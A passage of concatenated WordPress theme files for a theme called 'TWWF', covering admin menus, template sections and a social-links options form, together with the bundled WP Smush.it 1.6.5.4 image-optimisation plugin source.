add_menu_page(
'Theme Settings',
'Theme Settings',
'manage_options',
'theme_settings',
'fdc_theme_front_page_settings',
'dashicons-menu',
106
);
}//fdc_setup_theme_admin_menus()
add_action("admin_menu", "fdc_setup_theme_admin_menus");
function fdc_options_script(){
if( is_admin() ):
wp_enqueue_script( 'options', get_template_directory_uri().'/lib/theme-options/fdc-options.js', false, '1.0.0', true ); // OPTIONS SCRIPTS
wp_enqueue_style( 'options', get_template_directory_uri().'/lib/theme-options/fdc-options.css', false, '1.0.0', 'all' ); // OPTIONS STYLES
wp_enqueue_style( 'bootstrap-switch', get_template_directory_uri().'/lib/theme-options/switch.css', false, '0', 'all' ); // SWITCH
endif;
}//fdc_settings_script()
add_action( 'admin_head', 'fdc_options_script' );
<file_sep>/wp-content/themes/TWWF/page-below.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
?>
</main>
<!--
<?php if( is_active_sidebar('bottom_a') || is_active_sidebar('bottom_b') ): ?>
<div class="container">
<?php get_template_part('/sections/bottom-a'); ?>
<?php get_template_part('/sections/bottom-b'); ?>
</div>
<?php endif; ?>
-->
<?php wp_footer(); ?><file_sep>/wp-content/themes/TWWF/sections/bottom-b.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
if( is_active_sidebar('bottom_b') ):
?>
<div class="jumbotron">
<?php fdc_bottom_b(); ?>
</div><!-- jumbotron end -->
<?php endif; ?><file_sep>/wp-content/themes/TWWF/lib/theme-options/options/social.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
global $twitter;
global $facebook;
global $gplus;
global $linkedin;
global $pinterest;
global $youtube;
global $vimeo;
global $spotify;
global $flickr;
global $instagram;
global $skype;
global $behance;
?>
<div class="form-group">
<div class="row">
<div class="col-sm-6">
<div class="input-group">
<span class="input-group-addon"><i class="icon-twitter"></i></span>
<input type="text" class="form-control" id="opt_twitter" name="opt_twitter" value="<?php echo $twitter; ?>" placeholder="twitter">
</div><!-- input-group end -->
</div><!-- col end -->
<div class="col-sm-6">
<div class="input-group">
<span class="input-group-addon"><i class="icon-facebook"></i></span>
<input type="text" class="form-control" id="opt_facebook" name="opt_facebook" value="<?php echo $facebook; ?>" placeholder="facebook">
</div><!-- input-group end -->
</div><!-- col end -->
</div><!-- row end -->
</div><!-- form-group end -->
<div class="form-group">
<div class="row">
<div class="col-sm-6">
<div class="input-group">
<span class="input-group-addon"><i class="icon-gplus"></i></span>
<input type="text" class="form-control" id="opt_gplus" name="opt_gplus" value="<?php echo $gplus; ?>" placeholder="google plus">
</div><!-- input-group end -->
</div><!-- col end -->
<div class="col-sm-6">
<div class="input-group">
<span class="input-group-addon"><i class="icon-linkedin"></i></span>
<input type="text" class="form-control" id="opt_linkedin" name="opt_linkedin" value="<?php echo $linkedin; ?>" placeholder="linkedin">
</div><!-- input-group end -->
</div><!-- col end -->
</div><!-- row end -->
</div><!-- form-group end -->
<div class="form-group">
<div class="row">
<div class="col-sm-6">
<div class="input-group">
<span class="input-group-addon"><i class="icon-youtube"></i></span>
<input type="text" class="form-control" id="opt_youtube" name="opt_youtube" value="<?php echo $youtube; ?>" placeholder="youtube">
</div><!-- input-group end -->
</div><!-- col end -->
<div class="col-sm-6">
<div class="input-group">
<span class="input-group-addon"><i class="icon-vimeo"></i></span>
<input type="text" class="form-control" id="opt_vimeo" name="opt_vimeo" value="<?php echo $vimeo; ?>" placeholder="vimeo">
</div><!-- input-group end -->
</div><!-- col end -->
</div><!-- row end -->
</div><!-- form-group end -->
<div class="form-group">
<div class="row">
<div class="col-sm-6">
<div class="input-group">
<span class="input-group-addon"><i class="icon-flickr"></i></span>
<input type="text" class="form-control" id="opt_flickr" name="opt_flickr" value="<?php echo $flickr; ?>" placeholder="flickr">
</div><!-- input-group end -->
</div><!-- col end -->
<div class="col-sm-6">
<div class="input-group">
<span class="input-group-addon"><i class="icon-instagramm"></i></span>
<input type="text" class="form-control" id="opt_instagram" name="opt_instagram" value="<?php echo $instagram; ?>" placeholder="instagram">
</div><!-- input-group end -->
</div><!-- col end -->
</div><!-- row end -->
</div><!-- form-group end -->
<div class="form-group">
<div class="row">
<div class="col-sm-6">
<div class="input-group">
<span class="input-group-addon"><i class="icon-pinterest-circled"></i></span>
<input type="text" class="form-control" id="opt_pinterest" name="opt_pinterest" value="<?php echo $pinterest; ?>" placeholder="pinterest">
</div><!-- input-group end -->
</div><!-- col end -->
<div class="col-sm-6">
<div class="input-group">
<span class="input-group-addon"><i class="icon-behance"></i></span>
<input type="text" class="form-control" id="opt_behance" name="opt_behance" value="<?php echo $behance; ?>" placeholder="behance">
</div><!-- input-group end -->
</div><!-- col end -->
</div><!-- row end -->
</div><!-- form-group end -->
<div class="form-group">
<div class="row">
<div class="col-sm-6">
<div class="input-group">
<span class="input-group-addon"><i class="icon-skype-outline"></i></span>
<input type="text" class="form-control" id="opt_skype" name="opt_skype" value="<?php echo $skype; ?>" placeholder="skype">
</div><!-- input-group end -->
</div><!-- col end -->
<div class="col-sm-6">
<div class="input-group">
<span class="input-group-addon"><i class="icon-spotify"></i></span>
<input type="text" class="form-control" id="opt_spotify" name="opt_spotify" value="<?php echo $spotify; ?>" placeholder="spotify">
</div><!-- input-group end -->
</div><!-- col end -->
</div><!-- row end -->
</div><!-- form-group end -->
<file_sep>/wp-content/themes/TWWF/page-above.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
if( is_active_sidebar('top_a') || is_active_sidebar('top_b') ):
?>
<div class="container">
<?php get_template_part('/sections/top-a'); ?>
<?php get_template_part('/sections/top-b'); ?>
</div>
<?php endif;
$thumb = wp_get_attachment_url(get_post_thumbnail_id($post->ID));
<file_sep>/wp-content/themes/TWWF/lib/plugins/wp-smushit-1.6.5.4/wp-smushit.php
<?php
if ( !function_exists( 'download_url' ) ) {
require_once( ABSPATH . 'wp-admin/includes/file.php' );
}
if ( !class_exists( 'WpSmushit' ) ) {
class WpSmushit {
var $version = "1.6.5.4";
/**
* Constructor
*/
function __construct( ) {
/**
* Constants
*/
define( 'SMUSHIT_REQ_URL', 'http://www.smushit.com/ysmush.it/ws.php?img=%s' );
define( 'SMUSHIT_BASE_URL', 'http://www.smushit.com/' );
define( 'WP_SMUSHIT_DOMAIN', 'wp_smushit' );
define( 'WP_SMUSHIT_UA', "WP Smush.it/{$this->version} (+http://wordpress.org/extend/plugins/wp-smushit/)" );
define( 'WP_SMUSHIT_PLUGIN_DIR', dirname( plugin_basename(__FILE__) ) );
define( 'WP_SMUSHIT_MAX_BYTES', 1048576 );
// The number of images (including generated sizes) that can return errors before abandoning all hope.
// N.B. this doesn't work with the bulk uploader, since it creates a new HTTP request
// for each image. It does work with the bulk smusher, though.
define( 'WP_SMUSHIT_ERRORS_BEFORE_QUITTING', 3 * count( get_intermediate_image_sizes( ) ) );
define( 'WP_SMUSHIT_AUTO', intval( get_option( 'wp_smushit_smushit_auto', 0) ) );
define( 'WP_SMUSHIT_TIMEOUT', intval( get_option( 'wp_smushit_smushit_timeout', 60) ) );
define( 'WP_SMUSHIT_ENFORCE_SAME_URL', get_option( 'wp_smushit_smushit_enforce_same_url', 'on') );
if ((!isset($_GET['action'])) || ($_GET['action'] != "wp_smushit_manual")) {
define( 'WP_SMUSHIT_DEBUG', get_option( 'wp_smushit_smushit_debug', '') );
} else {
define( 'WP_SMUSHIT_DEBUG', '' );
}
/*
Each service has a setting specifying whether it should be used automatically on upload.
Values are:
-1 Don't use (until manually enabled via Media > Settings)
0 Use automatically
n Any other number is a Unix timestamp indicating when the service can be used again
*/
define('WP_SMUSHIT_AUTO_OK', 0);
define('WP_SMUSHIT_AUTO_NEVER', -1);
/**
* Hooks
*/
if ( WP_SMUSHIT_AUTO == WP_SMUSHIT_AUTO_OK ) {
add_filter( 'wp_generate_attachment_metadata', array( &$this, 'resize_from_meta_data' ), 10, 2 );
}
add_filter( 'manage_media_columns', array( &$this, 'columns' ) );
add_action( 'manage_media_custom_column', array( &$this, 'custom_column' ), 10, 2 );
add_action( 'admin_init', array( &$this, 'admin_init' ) );
add_action( 'admin_menu', array( &$this, 'admin_menu' ) );
add_action( 'admin_action_wp_smushit_manual', array( &$this, 'smushit_manual' ) );
add_action( 'admin_head-upload.php', array( &$this, 'add_bulk_actions_via_javascript' ) );
add_action( 'admin_action_bulk_smushit', array( &$this, 'bulk_action_handler' ) );
add_action( 'admin_init', array( &$this, 'register_settings' ) );
}
function WpSmushit( ) {
$this->__construct( );
}
/**
* Plugin setting functions
*/
function register_settings( ) {
add_settings_section( 'wp_smushit_settings', 'WP Smush.it', array( &$this, 'settings_cb' ), 'media' );
add_settings_field( 'wp_smushit_smushit_auto', __( 'Use Smush.it on upload?', WP_SMUSHIT_DOMAIN ),
array( &$this, 'render_auto_opts' ), 'media', 'wp_smushit_settings' );
add_settings_field( 'wp_smushit_smushit_timeout', __( 'How many seconds should we wait for a response from Smush.it?', WP_SMUSHIT_DOMAIN ),
array( &$this, 'render_timeout_opts' ), 'media', 'wp_smushit_settings' );
add_settings_field( 'wp_smushit_smushit_enforce_same_url', __( 'Enforce image URL is same as Home', WP_SMUSHIT_DOMAIN ),
array( &$this, 'render_enforce_same_url_opts' ), 'media', 'wp_smushit_settings' );
add_settings_field( 'wp_smushit_smushit_debug', __( 'Enable debug processing', WP_SMUSHIT_DOMAIN ),
array( &$this, 'render_debug_opts' ), 'media', 'wp_smushit_settings' );
register_setting( 'media', 'wp_smushit_smushit_auto' );
register_setting( 'media', 'wp_smushit_smushit_timeout' );
register_setting( 'media', 'wp_smushit_smushit_enforce_same_url' );
register_setting( 'media', 'wp_smushit_smushit_debug' );
}
function settings_cb( ) {
}
function render_auto_opts( ) {
$key = 'wp_smushit_smushit_auto';
$val = intval( get_option( $key, WP_SMUSHIT_AUTO_OK ) );
printf( "<select name='%1\$s' id='%1\$s'>", esc_attr( $key ) );
echo '<option value=' . WP_SMUSHIT_AUTO_OK . ' ' . selected( WP_SMUSHIT_AUTO_OK, $val ) . '>'. __( 'Automatically process on upload', WP_SMUSHIT_DOMAIN ) . '</option>';
echo '<option value=' . WP_SMUSHIT_AUTO_NEVER . ' ' . selected( WP_SMUSHIT_AUTO_NEVER, $val ) . '>'. __( 'Do not process on upload', WP_SMUSHIT_DOMAIN ) . '</option>';
if ( $val > 0 ) {
printf( '<option value="%d" selected="selected">', $val ) .
printf( __( 'Temporarily disabled until %s', WP_SMUSHIT_DOMAIN ), date( 'M j, Y \a\t H:i', $val ) ).'</option>';
}
echo '</select>';
}
function render_timeout_opts( $key ) {
$key = 'wp_smushit_smushit_timeout';
$val = intval( get_option( $key, WP_SMUSHIT_AUTO_OK ) );
printf( "<input type='text' name='%1\$s' id='%1\$s' value='%2\%d'>", esc_attr( $key ), intval( get_option( $key, 60 ) ) );
}
function render_enforce_same_url_opts( ) {
$key = 'wp_smushit_smushit_enforce_same_url';
$val = get_option( $key, WP_SMUSHIT_ENFORCE_SAME_URL );
?><input type="checkbox" name="<?php echo $key ?>" <?php if ($val == 'on') { echo ' checked="checked" '; } ?>/> <?php
echo '<strong>'. get_option('home'). '</strong><br />'.__( 'By default the plugin will enforce that the image URL is the same domain as the home. If you are using a sub-domain pointed to this same host or an external Content Delivery Network (CDN) you want to unset this option.', WP_SMUSHIT_DOMAIN );
}
function render_debug_opts( ) {
$key = 'wp_smushit_smushit_debug';
$val = get_option( $key, WP_SMUSHIT_DEBUG );
?><input type="checkbox" name="<?php echo $key ?>" <?php if ($val) { echo ' checked="checked" '; } ?>/> <?php _e( 'If you are having trouble with the plugin enable this option can reveal some information about your system needed for support.', WP_SMUSHIT_DOMAIN );
}
// default is 6hrs
function temporarily_disable( $seconds = 21600 ) {
update_option( 'wp_smushit_smushit_auto', time() + $seconds );
}
function admin_init( ) {
load_plugin_textdomain(WP_SMUSHIT_DOMAIN, false, dirname(plugin_basename(__FILE__)).'/languages/');
wp_enqueue_script( 'common' );
}
function admin_menu( ) {
add_media_page( 'Bulk Smush.it', 'Bulk Smush.it', 'edit_others_posts', 'wp-smushit-bulk', array( &$this, 'bulk_preview' ) );
}
function bulk_preview( ) {
if ( function_exists( 'apache_setenv' ) ) {
@apache_setenv('no-gzip', 1);
}
@ini_set('output_buffering','on');
@ini_set('zlib.output_compression', 0);
@ini_set('implicit_flush', 1);
$attachments = null;
$auto_start = false;
if ( isset($_REQUEST['ids'] ) ) {
$attachments = get_posts( array(
'numberposts' => -1,
'include' => explode(',', $_REQUEST['ids']),
'post_type' => 'attachment',
'post_mime_type' => 'image'
));
$auto_start = true;
} else {
$attachments = get_posts( array(
'numberposts' => -1,
'post_type' => 'attachment',
'post_mime_type' => 'image'
));
}
?>
<div class="wrap">
<div id="icon-upload" class="icon32"><br /></div><h2><?php _e( 'Bulk WP Smush.it', WP_SMUSHIT_DOMAIN ) ?></h2>
<?php
if ( sizeof($attachments) < 1 ) {
_e( "<p>You don't appear to have uploaded any images yet.</p>", WP_SMUSHIT_DOMAIN );
} else {
if ( empty($_POST) && !$auto_start ){ // instructions page
_e("<p>This tool will run all of the images in your media library through the WP Smush.it web service. Any image already processed will not be reprocessed. Any new images or unsuccessful attempts will be processed.</p>", WP_SMUSHIT_DOMAIN );
_e("<p>As part of the Yahoo! Smush.it API this plugin wil provide a URL to each of your images to be processed. The Yahoo! service will download the image via the URL. The Yahoo Smush.it service will then return a URL to this plugin of the new version of the image. This image will be downloaded and replace the original image on your server.</p>", WP_SMUSHIT_DOMAIN );
_e('<p>Limitations of using the Yahoo Smush.it API</p>', WP_SMUSHIT_DOMAIN);
?>
<ol>
<li><?php _e('The image MUST be less than 1 megabyte in size. This is a limit of the Yahoo! service not this plugin.', WP_SMUSHIT_DOMAIN); ?></li>
<li><?php _e('The image MUST be accessible via a non-https URL. The Yahoo! Smush.it service will not handle https:// image URLs. This is a limit of the Yahoo! service not this plugin.', WP_SMUSHIT_DOMAIN); ?></li>
<li><?php _e('The image MUST publicly accessible server. As the Yahoo! Smush.it service needs to download the image via a URL the image needs to be on a public server and not a local local development system. This is a limit of the Yahoo! service not this plugin.', WP_SMUSHIT_DOMAIN); ?></li>
<li><?php _e('The image MUST be local to the site. This plugin cannot update images stored on Content Delivery Networks (CDN)', WP_SMUSHIT_DOMAIN); ?></li>
</ol>
<?php
printf( __( "<p><strong>This is an experimental feature.</strong> Please post any feedback to the %s.</p>", WP_SMUSHIT_DOMAIN ), '<a href="http://wordpress.org/tags/wp-smushit">'. __( 'WordPress WP Smush.it forums', WP_SMUSHIT_DOMAIN ). '</a>' );
?>
<hr />
<?php printf( __( "<p>We found %d images in your media library. Be forewarned, <strong>it will take <em>at least</em> %d minutes</strong> to process all these images if they have never been smushed before.</p>", WP_SMUSHIT_DOMAIN ), sizeof($attachments), sizeof($attachments) * 3 / 60 ); ?>
<form method="post" action="">
<?php wp_nonce_field( 'wp-smushit-bulk', '_wpnonce'); ?>
<button type="submit" class="button-secondary action"><?php _e( 'Run all my images through WP Smush.it right now', WP_SMUSHIT_DOMAIN ) ?></button>
<?php _e( "<p><em>N.B. If your server <tt>gzip</tt>s content you may not see the progress updates as your files are processed.</em></p>", WP_SMUSHIT_DOMAIN ); ?>
<?php
if (WP_SMUSHIT_DEBUG) {
_e( "<p>DEBUG mode is currently enabled. To disable see the Settings > Media page.</p>", WP_SMUSHIT_DOMAIN );
}
?>
</form>
<?php
} else { // run the script
if ( !wp_verify_nonce( $_REQUEST['_wpnonce'], 'wp-smushit-bulk' ) || !current_user_can( 'edit_others_posts' ) ) {
wp_die( __( 'Cheatin’ uh?' ) );
}
@ob_implicit_flush( true );
@ob_end_flush();
foreach( $attachments as $attachment ) {
printf( __("<p>Processing <strong>%s</strong>…<br />", WP_SMUSHIT_DOMAIN), esc_html( $attachment->post_name ) );
$original_meta = wp_get_attachment_metadata( $attachment->ID, true );
$meta = $this->resize_from_meta_data( $original_meta, $attachment->ID, false );
printf( "— [original] %d x %d: ", intval($meta['width']), intval($meta['height']) );
if ((isset( $original_meta['wp_smushit'] ))
&& ( $original_meta['wp_smushit'] == $meta['wp_smushit'])
&& (stripos( $meta['wp_smushit'], 'Smush.it error' ) === false ) ) {
if ((stripos( $meta['wp_smushit'], '<a' ) === false)
&& (stripos( $meta['wp_smushit'], __('No savings', WP_SMUSHIT_DOMAIN )) === false))
echo $meta['wp_smushit'] .' '. __('<strong>already smushed</strong>', WP_SMUSHIT_DOMAIN);
else
echo $meta['wp_smushit'];
} else {
echo $meta['wp_smushit'];
}
echo '<br />';
if ( isset( $meta['sizes'] ) && is_array( $meta['sizes'] ) ) {
foreach( $meta['sizes'] as $size_name => $size ) {
printf( "— [%s] %d x %d: ", $size_name, intval($size['width']), intval($size['height']) );
if ( $original_meta['sizes'][$size_name]['wp_smushit'] == $size['wp_smushit'] && stripos( $meta['sizes'][$size_name]['wp_smushit'], 'Smush.it error' ) === false ) {
echo $size['wp_smushit'] .' '. __('<strong>already smushed</strong>', WP_SMUSHIT_DOMAIN);
} else {
echo $size['wp_smushit'];
}
echo '<br />';
}
}
echo "</p>";
wp_update_attachment_metadata( $attachment->ID, $meta );
// rate limiting is good manners, let's be nice to Yahoo!
sleep(0.5);
@ob_flush();
flush();
}
_e('<hr /></p>Smush.it finished processing.</p>', WP_SMUSHIT_DOMAIN);
}
}
?>
</div>
<?php
}
/**
* Manually process an image from the Media Library
*/
function smushit_manual( ) {
if ( !current_user_can('upload_files') ) {
wp_die( __( "You don't have permission to work with uploaded files.", WP_SMUSHIT_DOMAIN ) );
}
if ( !isset( $_GET['attachment_ID'] ) ) {
wp_die( __( 'No attachment ID was provided.', WP_SMUSHIT_DOMAIN ) );
}
$attachment_ID = intval( $_GET['attachment_ID'] );
$original_meta = wp_get_attachment_metadata( $attachment_ID );
$new_meta = $this->resize_from_meta_data( $original_meta, $attachment_ID );
wp_update_attachment_metadata( $attachment_ID, $new_meta );
wp_redirect( preg_replace( '|[^a-z0-9-~+_.?#=&;,/:]|i', '', wp_get_referer( ) ) );
exit();
}
/**
* Process an image with Smush.it.
*
* Returns an array of the $file $results.
*
* @param string $file Full absolute path to the image file
* @param string $file_url Optional full URL to the image file
* @returns array
*/
function do_smushit( $file_path = '', $file_url = '' ) {
if (empty($file_path)) {
return __( "File path is empty", WP_SMUSHIT_DOMAIN );
}
if (empty($file_url)) {
return __( "File URL is empty", WP_SMUSHIT_DOMAIN );
}
static $error_count = 0;
if ( $error_count >= WP_SMUSHIT_ERRORS_BEFORE_QUITTING ) {
return __( "Did not Smush.it due to previous errors", WP_SMUSHIT_DOMAIN );
}
// check that the file exists
if ( !file_exists( $file_path ) || !is_file( $file_path ) ) {
return sprintf( __( "ERROR: Could not find <span class='code'>%s</span>", WP_SMUSHIT_DOMAIN ), $file_path );
}
// check that the file is writable
if ( !is_writable( dirname( $file_path)) ) {
return sprintf( __("ERROR: <span class='code'>%s</span> is not writable", WP_SMUSHIT_DOMAIN ), dirname($file_path) );
}
$file_size = filesize( $file_path );
if ( $file_size > WP_SMUSHIT_MAX_BYTES ) {
return sprintf(__('ERROR: <span style="color:#FF0000;">Skipped (%s) Unable to Smush due to Yahoo 1mb size limits. See <a href="http://developer.yahoo.com/yslow/smushit/faq.html#faq_restrict">FAQ</a></span>', WP_SMUSHIT_DOMAIN), $this->format_bytes($file_size));
}
// local file check disabled 2013-09-05 - I don't see a point in checking this. We only use the URL of the file to Yahoo! and there is no gaurentee
// the file path is the SAME as the image from the URL. We can only really make sure the image URL starts with the home URL. This should prevent CDN URLs
// from being processed.
// check that the file is within the WP_CONTENT_DIR
// But first convert the slashes to be uniform. Really with WP would already do this!
/*
$file_path_tmp = str_replace('\\', '/', $file_path);
$WP_CONTENT_DIR_tmp = str_replace('\\', '/', WP_CONTENT_DIR);
if (WP_SMUSHIT_DEBUG) {
echo "DEBUG: file_path [". $file_path_tmp ."] WP_CONTENT_DIR [". $WP_CONTENT_DIR_tmp ."]<br />";
}
if (stripos( $file_path_tmp, $WP_CONTENT_DIR_tmp) !== 0) {
return sprintf( __( "ERROR: <span class='code'>%s</span> must be within the website content directory (<span class='code'>%s</span>)", WP_SMUSHIT_DOMAIN ),
htmlentities( $file_path_tmp ), $WP_CONTENT_DIR_tmp);
}
}
*/
// The Yahoo! Smush.it service does not working with https images.
$file_url = str_replace('https://', 'http://', $file_url);
// File URL check disabled 2013-10-11 - The assumption here is the URL may not be the local site URL. The image may be served via a sub-domain pointed
// to this same host or may be an external CDN. In either case the image would be the same. So we let the Yahoo! Smush.it service use the image URL with
// the assumption the remote image and the local file are the same. Also with the assumption that the CDN service will somehow be updated when the image
// is changed.
if ((defined('WP_SMUSHIT_ENFORCE_SAME_URL')) && (WP_SMUSHIT_ENFORCE_SAME_URL == 'on')) {
$home_url = str_replace('https://', 'http://', get_option('home'));
if (WP_SMUSHIT_DEBUG) {
echo "DEBUG: file_url [". $file_url ."] home_url [". $home_url ."]<br />";
}
if (stripos($file_url, $home_url) !== 0) {
return sprintf( __( "ERROR: <span class='code'>%s</span> must be within the website home URL (<span class='code'>%s</span>)", WP_SMUSHIT_DOMAIN ),
htmlentities( $file_url ), $home_url);
}
}
//echo "calling _post(". $file_url .")<br />";
$data = $this->_post( $file_url );
//echo "returned from _post data<pre>"; print_r($data); echo "</pre>";
if ( false === $data ) {
$error_count++;
return __( 'ERROR: posting to Smush.it', WP_SMUSHIT_DOMAIN );
}
// make sure the response looks like JSON -- added 2008-12-19 when
// Smush.it was returning PHP warnings before the JSON output
if ( strpos( trim($data), '{' ) != 0 ) {
return __('Bad response from Smush.it', WP_SMUSHIT_DOMAIN );
}
// read the JSON response
if ( function_exists('json_decode') ) {
$data = json_decode( $data );
} else {
require_once( 'JSON/JSON.php' );
$json = new Services_JSON( );
$data = $json->decode( $data );
}
if (WP_SMUSHIT_DEBUG) {
echo "DEBUG: return from API: data<pre>"; print_r($data); echo "</pre>";
}
//echo "returned from _post data<pre>"; print_r($data); echo "</pre>";
if ( !isset( $data->dest_size ) )
return __('Bad response from Smush.it', WP_SMUSHIT_DOMAIN );
if ( -1 === intval( $data->dest_size ) )
return __('No savings', WP_SMUSHIT_DOMAIN );
if ( !isset( $data->dest ) ) {
$err = ( $data->error ? __( 'Smush.it error: ', WP_SMUSHIT_DOMAIN ) . $data->error : __( 'unknown error', WP_SMUSHIT_DOMAIN ) );
$err .= sprintf( __( " while processing <span class='code'>%s</span> (<span class='code'>%s</span>)", WP_SMUSHIT_DOMAIN ), $file_url, $file_path);
return $err ;
}
$processed_url = $data->dest;
// The smush.it web service does not append the domain;
// smushit.com web service does
if ( 0 !== stripos($processed_url, 'http://') ) {
$processed_url = SMUSHIT_BASE_URL . $processed_url;
}
$temp_file = download_url( $processed_url );
if ( is_wp_error( $temp_file ) ) {
@unlink($temp_file);
return sprintf( __("Error downloading file (%s)", WP_SMUSHIT_DOMAIN ), $temp_file->get_error_message());
}
if (!file_exists($temp_file)) {
return sprintf( __("Unable to locate Smuch.it downloaded file (%s)", WP_SMUSHIT_DOMAIN ), $temp_file);
}
@unlink( $file_path );
$success = @rename( $temp_file, $file_path );
if (!$success) {
copy($temp_file, $file_path);
unlink($temp_file);
}
$savings = intval( $data->src_size ) - intval( $data->dest_size );
$savings_str = $this->format_bytes( $savings, 1 );
$savings_str = str_replace( ' ', ' ', $savings_str );
$results_msg = sprintf( __("Reduced by %01.1f%% (%s)", WP_SMUSHIT_DOMAIN ),
$data->percent,
$savings_str );
return $results_msg;
}
function should_resmush($previous_status) {
if ( !$previous_status || empty($previous_status ) ) {
return true;
}
if ( stripos( $previous_status, 'no savings' ) !== false || stripos( $previous_status, 'reduced' ) !== false ) {
return false;
}
// otherwise an error
return true;
}
/**
* Read the image paths from an attachment's meta data and process each image
* with wp_smushit().
*
* This method also adds a `wp_smushit` meta key for use in the media library.
*
* Called after `wp_generate_attachment_metadata` is completed.
*/
function resize_from_meta_data( $meta, $ID = null, $force_resmush = true ) {
if ( $ID && wp_attachment_is_image( $ID ) === false ) {
return $meta;
}
$attachment_file_path = get_attached_file($ID);
if (WP_SMUSHIT_DEBUG) {
echo "DEBUG: attachment_file_path=[". $attachment_file_path ."]<br />";
}
$attachment_file_url = wp_get_attachment_url($ID);
if (WP_SMUSHIT_DEBUG) {
echo "DEBUG: attachment_file_url=[". $attachment_file_url ."]<br />";
}
if ( $force_resmush || $this->should_resmush( @$meta['wp_smushit'] ) ) {
$meta['wp_smushit'] = $this->do_smushit($attachment_file_path, $attachment_file_url);
}
// no resized versions, so we can exit
if ( !isset( $meta['sizes'] ) )
return $meta;
foreach($meta['sizes'] as $size_key => $size_data) {
if ( !$force_resmush && $this->should_resmush( @$meta['sizes'][$size_key]['wp_smushit'] ) === false ) {
continue;
}
// We take the original image. The 'sizes' will all match the same URL and
// path. So just get the dirname and rpelace the filename.
$attachment_file_path_size = trailingslashit(dirname($attachment_file_path)) . $size_data['file'];
if (WP_SMUSHIT_DEBUG) {
echo "DEBUG: attachment_file_path_size=[". $attachment_file_path_size ."]<br />";
}
$attachment_file_url_size = trailingslashit(dirname($attachment_file_url)) . $size_data['file'];
if (WP_SMUSHIT_DEBUG) {
echo "DEBUG: attachment_file_url_size=[". $attachment_file_url_size ."]<br />";
}
$meta['sizes'][$size_key]['wp_smushit'] = $this->do_smushit( $attachment_file_path_size, $attachment_file_url_size ) ;
//echo "size_key[". $size_key ."] wp_smushit<pre>"; print_r($meta['sizes'][$size_key]['wp_smushit']); echo "</pre>";
}
//echo "meta<pre>"; print_r($meta); echo "</pre>";
return $meta;
}
/**
* Post an image to Smush.it.
*
* @param string $file_url URL of the file to send to Smush.it
* @return string|boolean Returns the JSON response on success or else false
*/
function _post( $file_url ) {
$req = sprintf( SMUSHIT_REQ_URL, urlencode( $file_url ) );
$data = false;
if (WP_SMUSHIT_DEBUG) {
echo "DEBUG: Calling API: [". $req."]<br />";
}
if ( function_exists( 'wp_remote_get' ) ) {
$response = wp_remote_get( $req, array('user-agent' => WP_SMUSHIT_UA, 'timeout' => WP_SMUSHIT_TIMEOUT ) );
if ( !$response || is_wp_error( $response ) ) {
$data = false;
} else {
$data = wp_remote_retrieve_body( $response );
}
} else {
wp_die( __('WP Smush.it requires WordPress 2.8 or greater', WP_SMUSHIT_DOMAIN) );
}
return $data;
}
/**
* Print column header for Smush.it results in the media library using
* the `manage_media_columns` hook.
*/
function columns( $defaults ) {
$defaults['smushit'] = 'Smush.it';
return $defaults;
}
/**
* Return the filesize in a humanly readable format.
* Taken from http://www.php.net/manual/en/function.filesize.php#91477
*/
function format_bytes( $bytes, $precision = 2 ) {
$units = array('B', 'KB', 'MB', 'GB', 'TB');
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= pow(1024, $pow);
return round($bytes, $precision) . ' ' . $units[$pow];
}
/**
* Print column data for Smush.it results in the media library using
* the `manage_media_custom_column` hook.
*/
function custom_column( $column_name, $id ) {
if( 'smushit' == $column_name ) {
$data = wp_get_attachment_metadata($id);
if ( isset( $data['wp_smushit'] ) && !empty( $data['wp_smushit'] ) ) {
print $data['wp_smushit'];
printf( "<br><a href=\"admin.php?action=wp_smushit_manual&attachment_ID=%d\">%s</a>",
$id,
__( 'Re-smush', WP_SMUSHIT_DOMAIN ) );
} else {
if ( wp_attachment_is_image( $id ) ) {
print __( 'Not processed', WP_SMUSHIT_DOMAIN );
printf( "<br><a href=\"admin.php?action=wp_smushit_manual&attachment_ID=%d\">%s</a>",
$id,
__('Smush.it now!', WP_SMUSHIT_DOMAIN));
}
}
}
}
// Borrowed from http://www.viper007bond.com/wordpress-plugins/regenerate-thumbnails/
function add_bulk_actions_via_javascript() { ?>
<script type="text/javascript">
jQuery(document).ready(function($){
$('select[name^="action"] option:last-child').before('<option value="bulk_smushit">Bulk Smush.it</option>');
});
</script>
<?php }
// Handles the bulk actions POST
// Borrowed from http://www.viper007bond.com/wordpress-plugins/regenerate-thumbnails/
function bulk_action_handler() {
check_admin_referer( 'bulk-media' );
if ( empty( $_REQUEST['media'] ) || ! is_array( $_REQUEST['media'] ) )
return;
$ids = implode( ',', array_map( 'intval', $_REQUEST['media'] ) );
// Can't use wp_nonce_url() as it escapes HTML entities
wp_redirect( add_query_arg( '_wpnonce', wp_create_nonce( 'wp-smushit-bulk' ), admin_url( 'upload.php?page=wp-smushit-bulk&goback=1&ids=' . $ids ) ) );
exit();
}
}
$WpSmushit = new WpSmushit();
global $WpSmushit;
}
if ( !function_exists( 'wp_basename' ) ) {
/**
* Introduced in WP 3.1... this is copied verbatim from wp-includes/formatting.php.
*/
function wp_basename( $path, $suffix = '' ) {
return urldecode( basename( str_replace( '%2F', '/', urlencode( $path ) ), $suffix ) );
}
}<file_sep>/wp-content/themes/TWWF/sections/top-a.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
if( is_active_sidebar('top_a') ):
?>
<div class="jumbotron">
<?php fdc_top_a(); ?>
</div><!-- jumbotron end -->
<?php endif; ?><file_sep>/wp-content/themes/TWWF/sections/toolbar.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
if( is_active_sidebar('toolbar_left') || is_active_sidebar('toolbar_right') ):
?>
<section class="toolbar">
<div class="container">
<div class="row">
<div class="col-sm-6">
<?php fdc_toolbar_left(); ?>
</div><!-- col end -->
<div class="col-sm-6">
<?php fdc_toolbar_right(); ?>
</div><!-- col end -->
</div><!-- row end -->
</div><!-- container end -->
</section><!-- toolbar end -->
<?php endif; ?><file_sep>/wp-content/themes/TWWF/lib/theme-options/options/layout-type.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
global $layout;
?>
<div class="form-group">
<h4>Layout Type</h4>
<div class="row">
